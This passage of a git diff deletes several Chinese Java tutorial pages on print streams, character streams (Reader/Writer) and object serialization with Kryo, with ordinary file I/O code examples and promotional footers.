的功能与用途。同时,文章还提供了打印流的实际应用示例和常用方法。阅读本文,将帮助您更深入地了解 Java 打印流以及 PrintStream 和 PrintWriter 在 Java 编程中的关键地位,提高输出操作的便捷性和效率。 -head: - - - meta - - name: keywords - content: Java,Java IO,打印流,PrintStream,PrintWriter,java 打印流,java PrintStream,java PrintWriter ---- - - -在我的职业生涯中, `System.out.println()` 的使用频率恐怕不亚于 main 方法的使用频率。其中 `System.out` 返回的正是打印流 `PrintStream` 。 - -除此之外,还有它还有一个孪生兄弟,PrintWriter。PrintStream 是 OutputStream 的子类,PrintWriter 是 Writer 的子类,也就是说,一个[字节流](https://javabetter.cn/io/stream.html),一个是[字符流](https://javabetter.cn/io/reader-writer.html)。 - -打印流具有以下几个特点: - -* 可以自动进行数据类型转换:打印流可以将各种数据类型转换为字符串,并输出到指定的输出流中。 -* 可以自动进行换行操作:打印流可以在输出字符串的末尾自动添加换行符,方便输出多个字符串时的格式控制。 -* 可以输出到控制台或者文件中:打印流可以将数据输出到控制台或者文件中,方便调试和日志记录(尽管生产环境下更推荐使用 [Logback](https://javabetter.cn/gongju/logback.html)、ELK 等)。 - -PrintStream 类的常用方法包括: - -- `print()`:输出一个对象的字符串表示形式。 -- `println()`:输出一个对象的字符串表示形式,并在末尾添加一个换行符。 -- `printf()`:使用指定的格式字符串和参数输出格式化的字符串。 - -来一个示例体验一下。 - -```java -PrintStream ps = System.out; -ps.println("沉默王二"); -ps.print("沉 "); -ps.print("默 "); -ps.print("王 "); -ps.print("二 "); -ps.println(); - -ps.printf("姓名:%s,年龄:%d,成绩:%f", "沉默王二", 18, 99.9); -``` - -在这个示例中,我们创建了一个 PrintStream 对象 ps,它输出到控制台。我们使用 ps 的 print 和 println 方法输出了一些字符串。 - -使用 printf 方法输出了一个格式化字符串,其中 %s、%d 和 %.2f 分别表示字符串、整数和浮点数的格式化输出。我们使用逗号分隔的参数列表指定了要输出的值。 - -来详细说说 printf 方法哈。 - -```java -public PrintStream printf(String format, Object... args); -``` - -其中,format 参数是格式化字符串,args 参数是要输出的参数列表。格式化字符串包含了普通字符和转换说明符。普通字符是指除了转换说明符之外的字符,它们在输出时直接输出。转换说明符是由百分号(%)和一个或多个字符组成的,用于指定输出的格式和数据类型。 - -下面是 Java 的常用转换说明符及对应的输出格式: - -- `%s`:输出一个字符串。 -- `%d` 或 `%i`:输出一个十进制整数。 -- `%x` 或 `%X`:输出一个十六进制整数,`%x` 输出小写字母,`%X` 输出大写字母。 -- `%f` 或 `%F`:输出一个浮点数。 -- `%e` 或 `%E`:输出一个科学计数法表示的浮点数,`%e` 输出小写字母 e,`%E` 输出大写字母 E。 -- `%g` 或 `%G`:输出一个浮点数,自动选择 `%f` 或 `%e/%E` 格式输出。 -- `%c`:输出一个字符。 -- `%b`:输出一个布尔值。 -- `%h`:输出一个哈希码(16进制)。 -- `%n`:换行符。 - -除了转换说明符之外,Java 的 printf 方法还支持一些修饰符,用于指定输出的宽度、精度、对齐方式等。 - -- 宽度修饰符:用数字指定输出的最小宽度,如果输出的数据不足指定宽度,则在左侧或右侧填充空格或零。 -- 精度修饰符:用点号(.)和数字指定浮点数或字符串的精度,对于浮点数,指定小数点后的位数,对于字符串,指定输出的字符数。 -- 对齐修饰符:用减号(-)或零号(0)指定输出的对齐方式,减号表示左对齐,零号表示右对齐并填充零。 - -下面是一些示例: - -```java -int num = 123; -System.out.printf("%5d\n", num); // 输出 " 123" -System.out.printf("%-5d\n", num); // 输出 "123 " -System.out.printf("%05d\n", num); // 输出 "00123" - -double pi = Math.PI; -System.out.printf("%10.2f\n", pi); // 输出 " 3.14" -System.out.printf("%-10.4f\n", pi); // 输出 "3.1416 " - -String name = "沉默王二"; -System.out.printf("%10s\n", name); // 输出 " 沉默王二" -System.out.printf("%-10s\n", name); // 输出 "沉默王二 " -``` - -具体来说, - -- 我们使用 `%5d` 来指定输出的整数占据 5 个字符的宽度,不足部分在左侧填充空格。 -- 使用 `%-5d` 来指定输出的整数占据 5 个字符的宽度,不足部分在右侧填充空格。 -- 使用 `%05d` 来指定输出的整数占据 5 个字符的宽度,不足部分在左侧填充 0。 -- 使用 `%10.2f` 来指定输出的浮点数占据 10 个字符的宽度,保留 2 位小数,不足部分在左侧填充空格。 -- 使用 `%-10.4f` 来指定输出的浮点数占据 10 个字符的宽度,保留 4 位小数,不足部分在右侧填充空格。 -- 使用 `%10s` 来指定输出的字符串占据 10 个字符的宽度,不足部分在左侧填充空格。 -- 使用 `%-10s` 来指定输出的字符串占据 10 个字符的宽度,不足部分在右侧填充空格。 - -接下来,我们给出一个 PrintWriter 的示例: - -```java -PrintWriter writer = new PrintWriter(new FileWriter("output.txt")); -writer.println("沉默王二"); -writer.printf("他的年纪为 %d.\n", 18); -writer.close(); -``` - -首先,我们创建一个 PrintWriter 对象,它的构造函数接收一个 Writer 对象作为参数。在这里,我们使用 FileWriter 来创建一个输出文件流,并将其作为参数传递给 PrintWriter 的构造函数。然后,我们使用 PrintWriter 的 println 和 printf 方法来输出两行内容,其中 printf 方法可以接收格式化字符串。最后,我们调用 PrintWriter 的 close 方法来关闭输出流。 - -我们也可以不创建 FileWriter 对象,直接指定文件名。 - -```java -PrintWriter pw = new PrintWriter("output.txt"); -pw.println("沉默王二"); -pw.printf("他的年纪为 %d.\n", 18); -pw.close(); -``` - -好,关于打印流我们就说这么多,比较简单。至于 printf 的一些规则,用到的时候可以再查使用说明或者看 API 文档就可以了,记不住没关系。 - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/io/reader-writer.md b/docs/src/io/reader-writer.md deleted file mode 100644 index f1162c2cca..0000000000 --- a/docs/src/io/reader-writer.md +++ /dev/null @@ -1,473 +0,0 @@ ---- -title: Java 字符流:Reader和Writer的故事 -shortTitle: 字符流 -category: - - Java核心 -tag: - - Java IO -description: 本文详细介绍了字符流在 Java IO 操作中的重要作用,特别关注 Reader 和 Writer 类及其子类的功能与用途。同时,文章还提供了字符流的实际应用示例和常用方法。阅读本文,将帮助您更深入地了解字符流以及 Reader 和 Writer 在 Java 编程中的关键地位,提高文本操作效率。 -head: - - - meta - - name: keywords - content: Java,Java IO,Reader,Writer,字符流,java字符流 ---- - - -字符流 Reader 和 Writer 的故事要从它们的类关系图开始,来看图。 - -![](https://cdn.paicoding.com/stutymore/reader-writer-20230320164938.png) - -字符流是一种用于读取和写入字符数据的输入输出流。与字节流不同,字符流以字符为单位读取和写入数据,而不是以字节为单位。常用来处理文本信息。 - -如果用字节流直接读取中文,可能会遇到乱码问题,见下例: - -```java -//FileInputStream为操作文件的字符输入流 -FileInputStream inputStream = new FileInputStream("a.txt");//内容为“沉默王二是傻 X” - -int len; -while ((len=inputStream.read())!=-1){ - System.out.print((char)len); -} -``` - -来看运行结果: - -``` -运行结果: 沉默王二是傻 X -``` - -看一下截图: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/io/reader-writer-0b68ef81-26d0-4a4e-9c1b-61928ce8646c.png) - - -之所以出现乱码是因为在字节流中,一个字符通常由多个字节组成,而不同的字符编码使用的字节数不同。如果我们使用了错误的字符编码,或者在读取和写入数据时没有正确处理字符编码的转换,就会导致读取出来的中文字符出现乱码。 - -例如,当我们使用默认的字符编码(见上例)读取一个包含中文字符的文本文件时,就会出现乱码。因为默认的字符编码通常是 ASCII 编码,它只能表示英文字符,而不能正确地解析中文字符。 - -那使用字节流该如何正确地读出中文呢?见下例。 - -```java -try (FileInputStream inputStream = new FileInputStream("a.txt")) { - byte[] bytes = new byte[1024]; - int len; - while ((len = inputStream.read(bytes)) != -1) { - System.out.print(new String(bytes, 0, len)); - } -} -``` - -为什么这种方式就可以呢? - -因为我们拿 String 类进行了解码,查看`new String(byte bytes[], int offset, int length)`的源码就可以发现,该构造方法有解码功能: - -```java -public String(byte bytes[], int offset, int length) { - checkBounds(bytes, offset, length); - this.value = StringCoding.decode(bytes, offset, length); -} -``` - -继续追看 `StringCoding.decode()` 方法调用的 `defaultCharset()` 方法,会发现默认编码是`UTF-8`,代码如下 - -```java -public static Charset defaultCharset() { - if (defaultCharset == null) { - synchronized (Charset.class) { - if (cs != null) - defaultCharset = cs; - else - defaultCharset = forName("UTF-8"); - } - } - return defaultCharset; -} -static char[] decode(byte[] ba, int off, int len) { - String csn = Charset.defaultCharset().name(); - try { - // use charset name decode() variant which provides caching. - return decode(csn, ba, off, len); - } catch (UnsupportedEncodingException x) { - warnUnsupportedCharset(csn); - } -} -``` - -在 Java 中,常用的字符编码有 ASCII、ISO-8859-1、UTF-8、UTF-16 等。其中,ASCII 和 ISO-8859-1 只能表示部分字符,而 UTF-8 和 UTF-16 可以表示所有的 Unicode 字符,包括中文字符。 - -当我们使用 `new String(byte bytes[], int offset, int length)` 将字节流转换为字符串时,Java 会根据 UTF-8 的规则将每 3 个字节解码为一个中文字符,从而正确地解码出中文。 - -尽管字节流也有办法解决乱码问题,但不够直接,于是就有了字符流,`专门用于处理文本`文件(音频、图片、视频等为非文本文件)。 - -从另一角度来说:**字符流 = 字节流 + 编码表** - -### 01、字符输入流(Reader) - -`java.io.Reader`是**字符输入流**的**超类**(父类),它定义了字符输入流的一些共性方法: - -- 1、`close()`:关闭此流并释放与此流相关的系统资源。 -- 2、`read()`:从输入流读取一个字符。 -- 3、`read(char[] cbuf)`:从输入流中读取一些字符,并将它们存储到字符数组 `cbuf`中 - -FileReader 是 Reader 的子类,用于从文件中读取字符数据。它的主要特点如下: - -- 可以通过构造方法指定要读取的文件路径。 -- 每次可以读取一个或多个字符。 -- 可以读取 Unicode 字符集中的字符,通过指定字符编码来实现字符集的转换。 - -#### 1)FileReader构造方法 - -- 1、`FileReader(File file)`:创建一个新的 FileReader,参数为**File对象**。 -- 2、`FileReader(String fileName)`:创建一个新的 FileReader,参数为文件名。 - -代码示例如下: - -```java -// 使用File对象创建流对象 -File file = new File("a.txt"); -FileReader fr = new FileReader(file); - -// 使用文件名称创建流对象 -FileReader fr = new FileReader("b.txt"); -``` - -#### 2)FileReader读取字符数据 - -①、**读取字符**:`read`方法,每次可以读取一个字符,返回读取的字符(转为 int 类型),当读取到文件末尾时,返回`-1`。代码示例如下: - -```java -// 使用文件名称创建流对象 -FileReader fr = new FileReader("abc.txt"); -// 定义变量,保存数据 -int b; -// 循环读取 -while ((b = fr.read())!=-1) { - System.out.println((char)b); -} -// 关闭资源 -fr.close(); -``` - -②、**读取指定长度的字符**:`read(char[] cbuf, int off, int len)`,并将其存储到字符数组中。其中,cbuf 表示存储读取结果的字符数组,off 表示存储结果的起始位置,len 表示要读取的字符数。代码示例如下: - -```java -File textFile = new File("docs/约定.md"); -// 给一个 FileReader 的示例 -// try-with-resources FileReader -try(FileReader reader = new FileReader(textFile);) { - // read(char[] cbuf) - char[] buffer = new char[1024]; - int len; - while ((len = reader.read(buffer, 0, buffer.length)) != -1) { - System.out.print(new String(buffer, 0, len)); - } -} -``` - -在这个例子中,使用 FileReader 从文件中读取字符数据,并将其存储到一个大小为 1024 的字符数组中。每次读取 len 个字符,然后使用 String 构造方法将其转换为字符串并输出。 - -FileReader 实现了 AutoCloseable 接口,因此可以使用 [try-with-resources](https://javabetter.cn/exception/try-with-resources.html) 语句自动关闭资源,避免了手动关闭资源的繁琐操作。 - -### 02、字符输出流(Writer) - -`java.io.Writer` 是**字符输出流**类的**超类**(父类),可以将指定的字符信息写入到目的地,来看它定义的一些共性方法: - -- 1、`write(int c)` 写入单个字符。 -- 2、`write(char[] cbuf)` 写入字符数组。 -- 3、`write(char[] cbuf, int off, int len)` 写入字符数组的一部分,off为开始索引,len为字符个数。 -- 4、`write(String str)` 写入字符串。 -- 5、`write(String str, int off, int len)` 写入字符串的某一部分,off 指定要写入的子串在 str 中的起始位置,len 指定要写入的子串的长度。 -- 6、`flush()` 刷新该流的缓冲。 -- 7、`close()` 关闭此流,但要先刷新它。 - -`java.io.FileWriter` 类是 Writer 的子类,用来将字符写入到文件。 - -#### 1)FileWriter 构造方法 - -- `FileWriter(File file)`: 创建一个新的 FileWriter,参数为要读取的File对象。 -- `FileWriter(String fileName)`: 创建一个新的 FileWriter,参数为要读取的文件的名称。 - -代码示例如下: - -```java -// 第一种:使用File对象创建流对象 -File file = new File("a.txt"); -FileWriter fw = new FileWriter(file); - -// 第二种:使用文件名称创建流对象 -FileWriter fw = new FileWriter("b.txt"); -``` - -#### 2)FileWriter写入数据 - -①、**写入字符**:`write(int b)` 方法,每次可以写出一个字符,代码示例如下: - -```java -FileWriter fw = null; -try { - fw = new FileWriter("output.txt"); - fw.write(72); // 写入字符'H'的ASCII码 - fw.write(101); // 写入字符'e'的ASCII码 - fw.write(108); // 写入字符'l'的ASCII码 - fw.write(108); // 写入字符'l'的ASCII码 - fw.write(111); // 写入字符'o'的ASCII码 -} catch (IOException e) { - e.printStackTrace(); -} finally { - try { - if (fw != null) { - fw.close(); - } - } catch (IOException e) { - e.printStackTrace(); - } -} -``` - -在这个示例代码中,首先创建一个 FileWriter 对象 fw,并指定要写入的文件路径 "output.txt"。然后使用 fw.write() 方法将字节写入文件中,这里分别写入字符'H'、'e'、'l'、'l'、'o'的 ASCII 码。最后在 finally 块中关闭 FileWriter 对象,释放资源。 - -需要注意的是,使用 `write(int b)` 方法写入的是一个字节,而不是一个字符。如果需要写入字符,可以使用 `write(char cbuf[])` 或 `write(String str)` 方法。 - -②、**写入字符数组**:`write(char[] cbuf)` 方法,将指定字符数组写入输出流。代码示例如下: - -```java -FileWriter fw = null; -try { - fw = new FileWriter("output.txt"); - char[] chars = {'H', 'e', 'l', 'l', 'o'}; - fw.write(chars); // 将字符数组写入文件 -} catch (IOException e) { - e.printStackTrace(); -} finally { - try { - if (fw != null) { - fw.close(); - } - } catch (IOException e) { - e.printStackTrace(); - } -} -``` - -③、**写入指定字符数组**:`write(char[] cbuf, int off, int len)` 方法,将指定字符数组的一部分写入输出流。代码示例如下(重复的部分就不写了哈,参照上面的部分): - -```java -fw = new FileWriter("output.txt"); - char[] chars = {'H', 'e', 'l', 'l', 'o', ',', ' ', 'W', 'o', 'r', 'l', 'd', '!'}; -fw.write(chars, 0, 5); // 将字符数组的前 5 个字符写入文件 -``` - -使用 `fw.write()` 方法将字符数组的前 5 个字符写入文件中。 - -④、**写入字符串**:`write(String str)` 方法,将指定字符串写入输出流。代码示例如下: - -```java -fw = new FileWriter("output.txt"); -String str = "沉默王二"; -fw.write(str); // 将字符串写入文件 -``` - -⑤、**写入指定字符串**:`write(String str, int off, int len)` 方法,将指定字符串的一部分写入输出流。代码示例如下(try-with-resources形式): - -```java -String str = "沉默王二真的帅啊!"; -try (FileWriter fw = new FileWriter("output.txt")) { - fw.write(str, 0, 5); // 将字符串的前 5 个字符写入文件 -} catch (IOException e) { - e.printStackTrace(); -} -``` - ->【注意】如果不关闭资源,数据只是保存到缓冲区,并未保存到文件中。 - -#### 3)关闭close和刷新flush - -因为 FileWriter 内置了缓冲区 ByteBuffer,所以如果不关闭输出流,就无法把字符写入到文件中。 - -![](https://cdn.paicoding.com/stutymore/reader-writer-20230320183546.png) - -但是关闭了流对象,就无法继续写数据了。如果我们既想写入数据,又想继续使用流,就需要 `flush` 方法了。 - -`flush` :刷新缓冲区,流对象可以继续使用。 - -`close` :先刷新缓冲区,然后通知系统释放资源。流对象不可以再被使用了。 - -flush还是比较有趣的,来段代码体会体会: - -```java -//源 也就是输入流【读取流】 读取a.txt文件 -FileReader fr=new FileReader("abc.txt"); //必须要存在a.txt文件,否则报FileNotFoundException异常 -//目的地 也就是输出流 -FileWriter fw=new FileWriter("b.txt"); //系统会自动创建b.txt,因为它是输出流! -int len; -while((len=fr.read())!=-1){ - fw.write(len); -} -//注意这里是没有使用close关闭流,开发中不能这样做,但是为了更好的体会flush的作用 -``` - -运行效果是怎么样的呢?答案是b.txt文件中依旧是空的,并没有任何东西。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/io/reader-writer-3b4fd024-856f-45ee-8183-1a1ee808e5ce.png) - -原因我们前面已经说过了。**编程就是这样,不去敲,永远学不会**!!!所以一定要去敲,多敲啊!!! - -在以上的代码中再添加下面三句代码,b.txt文件就能复制到源文件的数据了! - -```java -fr.close(); -fw.flush(); -fw.close(); -``` - -`flush()`这个方法是清空缓存的意思,用于清空缓冲区的数据流,进行流的操作时,数据先被读到内存中,然后再把数据写到文件中。 - -你可以使用下面的代码示例再体验一下: - -```java -// 使用文件名称创建流对象 -FileWriter fw = new FileWriter("fw.txt"); -// 写出数据,通过flush -fw.write('刷'); // 写出第1个字符 -fw.flush(); -fw.write('新'); // 继续写出第2个字符,写出成功 -fw.flush(); - -// 写出数据,然后close -fw.write('关'); // 写出第1个字符 -fw.close(); -fw.write('闭'); // 继续写出第2个字符,【报错】java.io.IOException: Stream closed -fw.close(); -``` - -注意,即便是flush方法写出了数据,操作的最后还是要调用close方法,释放系统资源。当然你也可以用 try-with-resources 的方式。 - -#### 4)FileWriter的续写和换行 - -**续写和换行**:操作类似于[FileOutputStream操作](https://javabetter.cn/io/stream.html),直接上代码: - -```java -// 使用文件名称创建流对象,可以续写数据 -FileWriter fw = new FileWriter("fw.txt",true); -// 写出字符串 -fw.write("沉默王二"); -// 写出换行 -fw.write("\r\n"); -// 写出字符串 -fw.write("是傻 X"); -// 关闭资源 -fw.close(); -``` - -输出结果如下所示: - -``` -输出结果: -沉默王二 -是傻 X -``` - - -#### 5)文本文件复制 - -直接上代码: - -```java -import java.io.FileReader; -import java.io.FileWriter; -import java.io.IOException; - -public class CopyFile { - public static void main(String[] args) throws IOException { - //创建输入流对象 - FileReader fr=new FileReader("aa.txt");//文件不存在会抛出java.io.FileNotFoundException - //创建输出流对象 - FileWriter fw=new FileWriter("copyaa.txt"); - /*创建输出流做的工作: - * 1、调用系统资源创建了一个文件 - * 2、创建输出流对象 - * 3、把输出流对象指向文件 - * */ - //文本文件复制,一次读一个字符 - copyMethod1(fr, fw); - //文本文件复制,一次读一个字符数组 - copyMethod2(fr, fw); - - fr.close(); - fw.close(); - } - - public static void copyMethod1(FileReader fr, FileWriter fw) throws IOException { - int ch; - while((ch=fr.read())!=-1) {//读数据 - fw.write(ch);//写数据 - } - fw.flush(); - } - - public static void copyMethod2(FileReader fr, FileWriter fw) throws IOException { - char chs[]=new char[1024]; - int len=0; - while((len=fr.read(chs))!=-1) {//读数据 - fw.write(chs,0,len);//写数据 - } - fw.flush(); - } -} -``` - -### 03、IO异常的处理 - -我们在学习的过程中可能习惯把异常抛出,而实际开发中建议使用`try...catch...finally` 代码块,处理异常部分,格式代码如下: - -```java -// 声明变量 -FileWriter fw = null; -try { - //创建流对象 - fw = new FileWriter("fw.txt"); - // 写出数据 - fw.write("二哥真的帅"); //哥敢摸si -} catch (IOException e) { - e.printStackTrace(); -} finally { - try { - if (fw != null) { - fw.close(); - } - } catch (IOException e) { - e.printStackTrace(); - } -} -``` - -或者直接使用 try-with-resources 的方式。 - -```java -try (FileWriter fw = new FileWriter("fw.txt")) { - // 写出数据 - fw.write("二哥真的帅"); //哥敢摸si -} catch (IOException e) { - e.printStackTrace(); -} -``` - -在这个代码中,try-with-resources 会在 try 块执行完毕后自动关闭 FileWriter 对象 fw,不需要手动关闭流。如果在 try 块中发生了异常,也会自动关闭流并抛出异常。因此,使用 try-with-resources 可以让代码更加简洁、安全和易读。 - -### 04、小结 - -Writer 和 Reader 是 Java I/O 中用于字符输入输出的抽象类,它们提供了一系列方法用于读取和写入字符数据。它们的区别在于 Writer 用于将字符数据写入到输出流中,而 Reader 用于从输入流中读取字符数据。 - -Writer 和 Reader 的常用子类有 FileWriter、FileReader,可以将字符流写入和读取到文件中。 - -在使用 Writer 和 Reader 进行字符输入输出时,需要注意字符编码的问题。 - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/io/serialize.md b/docs/src/io/serialize.md deleted file mode 100644 index 6d812c89d4..0000000000 --- a/docs/src/io/serialize.md +++ /dev/null @@ -1,214 +0,0 @@ ---- -title: Java 序列流:Java 对象的序列化和反序列化 -shortTitle: 序列流(序列化和反序列化) -category: - - Java核心 -tag: - - Java IO -description: 本文详细介绍了 Java 序列流在对象序列化和反序列化中的重要作用,阐述了其如何有效地将 Java 对象持久化存储和恢复。同时,文章还提供了序列流的实际应用示例和常用方法。阅读本文,将帮助您更深入地了解 Java 序列流以及其在 Java 编程中的关键地位,提高数据持久化和恢复的效率。 -head: - - - meta - - name: keywords - content: Java,Java IO,序列化流,java序列化,java反序列化,ObjectOutputStream,ObjectInputStream,java 序列流 ---- - - -Java 的序列流(ObjectInputStream 和 ObjectOutputStream)是一种可以将 Java 对象序列化和反序列化的流。 - -序列化是指将一个对象转换为一个字节序列(包含`对象的数据`、`对象的类型`和`对象中存储的属性`等信息),以便在网络上传输或保存到文件中,或者在程序之间传递。在 Java 中,序列化通过实现 java.io.Serializable 接口来实现,只有实现了 [Serializable 接口](https://javabetter.cn/io/Serializbale.html)的对象才能被序列化。 - -反序列化是指将一个字节序列转换为一个对象,以便在程序中使用。 - -![二哥的 Java 进阶之路:序列流](https://cdn.paicoding.com/stutymore/serialize-20240723100910.png) - -### 01、ObjectOutputStream - -`java.io.ObjectOutputStream` 继承自 OutputStream 类,因此可以将序列化后的字节序列写入到文件、网络等输出流中。 - -来看 ObjectOutputStream 的构造方法: -`ObjectOutputStream(OutputStream out)` - -该构造方法接收一个 OutputStream 对象作为参数,用于将序列化后的字节序列输出到指定的输出流中。例如: - -```java -FileOutputStream fos = new FileOutputStream("file.txt"); -ObjectOutputStream oos = new ObjectOutputStream(fos); -``` - -一个对象要想序列化,必须满足两个条件: - -- 该类必须实现[`java.io.Serializable` 接口](https://javabetter.cn/io/Serializbale.html),否则会抛出`NotSerializableException` 。 -- 该类的所有字段都必须是可序列化的。如果一个字段不需要序列化,则需要使用[`transient` 关键字](https://javabetter.cn/io/transient.html)进行修饰。 - -使用示例如下: - -```java -public class Employee implements Serializable { - public String name; - public String address; - public transient int age; // transient瞬态修饰成员,不会被序列化 -} -``` - -接下来,来聊聊 `writeObject (Object obj)` 方法,该方法是 ObjectOutputStream 类中用于将对象序列化成字节序列并输出到输出流中的方法,可以处理对象之间的引用关系、继承关系、静态字段和 transient 字段。 - -```java -public class ObjectOutputStreamDemo { - public static void main(String[] args) { - Person person = new Person("沉默王二", 20); - try { - FileOutputStream fos = new FileOutputStream("logs/person.dat"); - ObjectOutputStream oos = new ObjectOutputStream(fos); - oos.writeObject(person); - oos.close(); - } catch (IOException e) { - e.printStackTrace(); - } - } -} -class Person implements Serializable { - private String name; - private int age; - - public Person(String name, int age) { - this.name = name; - this.age = age; - } - - public String getName() { - return name; - } - - public int getAge() { - return age; - } -} -``` - -上面的代码中,首先创建了一个 Person 对象,然后使用 FileOutputStream 和 ObjectOutputStream 将 Person 对象序列化并输出到 person.dat 文件中。在 Person 类中,实现了 Serializable 接口,表示该类可以进行对象序列化。 - -### 02、ObjectInputStream - -ObjectInputStream 可以读取 ObjectOutputStream 写入的字节流,并将其反序列化为相应的对象(包含`对象的数据`、`对象的类型`和`对象中存储的属性`等信息)。 - -说简单点就是,序列化之前是什么样子,反序列化后就是什么样子。 - -来看一下构造方法:`ObjectInputStream(InputStream in)` : 创建一个指定 InputStream 的 ObjectInputStream。 - -其中,ObjectInputStream 的 readObject 方法用来读取指定文件中的对象,示例如下: - -```java -String filename = "logs/person.dat"; // 待反序列化的文件名 -try (FileInputStream fileIn = new FileInputStream(filename); - ObjectInputStream in = new ObjectInputStream(fileIn)) { - // 从指定的文件输入流中读取对象并反序列化 - Object obj = in.readObject(); - // 将反序列化后的对象强制转换为指定类型 - Person p = (Person) obj; - // 打印反序列化后的对象信息 - System.out.println("Deserialized Object: " + p); -} catch (IOException | ClassNotFoundException e) { - e.printStackTrace(); -} -``` - -我们首先指定了待反序列化的文件名(前面通过 ObjectOutputStream 序列化后的文件),然后创建了一个 FileInputStream 对象和一个 ObjectInputStream 对象。接着我们调用 ObjectInputStream 的 readObject 方法来读取指定文件中的对象,并将其强制转换为 Person 类型。最后我们打印了反序列化后的对象信息。 - -### 03、Kryo - -实际开发中,很少使用 JDK 自带的序列化和反序列化,这是因为: - -- 可移植性差:Java 特有的,无法跨语言进行序列化和反序列化。 -- 性能差:序列化后的字节体积大,增加了传输/保存成本。 -- 安全问题:攻击者可以通过构造恶意数据来实现远程代码执行,从而对系统造成严重的安全威胁。相关阅读:[Java 反序列化漏洞之殇](https://cryin.github.io/blog/secure-development-java-deserialization-vulnerability/) 。 - -Kryo 是一个优秀的 Java 序列化和反序列化库,具有高性能、高效率和易于使用和扩展等特点,有效地解决了 JDK 自带的序列化机制的痛点。 - ->GitHub 地址:[https://github.com/EsotericSoftware/kryo](https://github.com/EsotericSoftware/kryo) - -使用示例: - -第一步,在 pom.xml 中引入依赖。 - -``` - - - com.esotericsoftware - kryo - 5.4.0 - -``` - -第二步,创建一个 Kryo 对象,并使用 `register()` 方法将对象进行注册。然后,使用 `writeObject()` 方法将 Java 对象序列化为二进制流,再使用 `readObject()` 方法将二进制流反序列化为 Java 对象。最后,输出反序列化后的 Java 对象。 - -```java -public class KryoDemo { - public static void main(String[] args) throws FileNotFoundException { - Kryo kryo = new Kryo(); - kryo.register(KryoParam.class); - - KryoParam object = new KryoParam("沉默王二", 123); - - Output output = new Output(new FileOutputStream("logs/kryo.bin")); - kryo.writeObject(output, object); - output.close(); - - Input input = new Input(new FileInputStream("logs/kryo.bin")); - KryoParam object2 = kryo.readObject(input, KryoParam.class); - System.out.println(object2); - input.close(); - } -} - -class KryoParam { - private String name; - private int age; - - public KryoParam() { - } - - public KryoParam(String name, int age) { - this.name = name; - this.age = age; - } - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } - - public int getAge() { - return age; - } - - public void setAge(int age) { - this.age = age; - } - - @Override - public String toString() { - return "KryoParam{" + - "name='" + name + '\'' + - ", age=" + age + - '}'; - } -} -``` - -### 04、小结 - -本节我们介绍了 Java 的序列化机制,并推荐了一款高性能的 Java 类库 Kryo 来取代 JDK 自带的序列化机制,已经在 Twitter、Groupon、Yahoo 以及多个著名开源项目(如 Hive、Storm)中广泛使用。 - -以上,希望能帮助到大家。 - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/io/shangtou.md b/docs/src/io/shangtou.md deleted file mode 100644 index 2f6b8713dd..0000000000 --- a/docs/src/io/shangtou.md +++ /dev/null @@ -1,712 +0,0 @@ ---- -title: 6000 字掌握 Java IO 知识体系 -shortTitle: IO 知识体系 -category: - - Java核心 -tag: - - Java IO -description: 本文详细介绍了 Java IO 的各种分类,包括输入输出流、字节流与字符流等,同时探讨了它们在实际编程中的应用场景和使用方法。阅读本文,将帮助您更全面地了解 Java IO,从而在实际编程中充分利用 Java IO 的特性,提高开发效率。 -head: - - - meta - - name: keywords - content: Java,Java IO,io,输入输出流,字节流, 字符流 ---- - -“老王,Java IO 也太上头了吧?”新兵蛋子小二向头顶很凉快的老王抱怨道,“你瞧,我就按照传输方式对 IO 进行了一个简单的分类,就能搞出来这么多的玩意!” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/io/shangtou-01.png) - -好久没搞过 IO 了,老王看到这幅思维导图也是吃了一惊。想想也是,他当初学习 Java IO 的时候头也大,乌央乌央的一片,全是类,估计是所有 Java 包里面类最多的,一会是 Input 一会是 Output,一会是 Reader 一会是 Writer,真不知道 Java 的设计者是怎么想的。 - -看着肺都快要气炸的小二,老王深深地吸了一口气,耐心地对小二说:“主要是 Java 的设计者考虑得比较多吧,所以 IO 给人一种很乱的感觉,我来给你梳理一下。” - -### 00、初识 Java IO - -IO,即in和out,也就是输入和输出,指应用程序和外部设备之间的数据传递,常见的外部设备包括文件、管道、网络连接。 - -Java 中是通过流处理IO 的,那么什么是流? - -流(Stream),是一个抽象的概念,是指一连串的数据(字符或字节),是以先进先出的方式发送信息的通道。 - 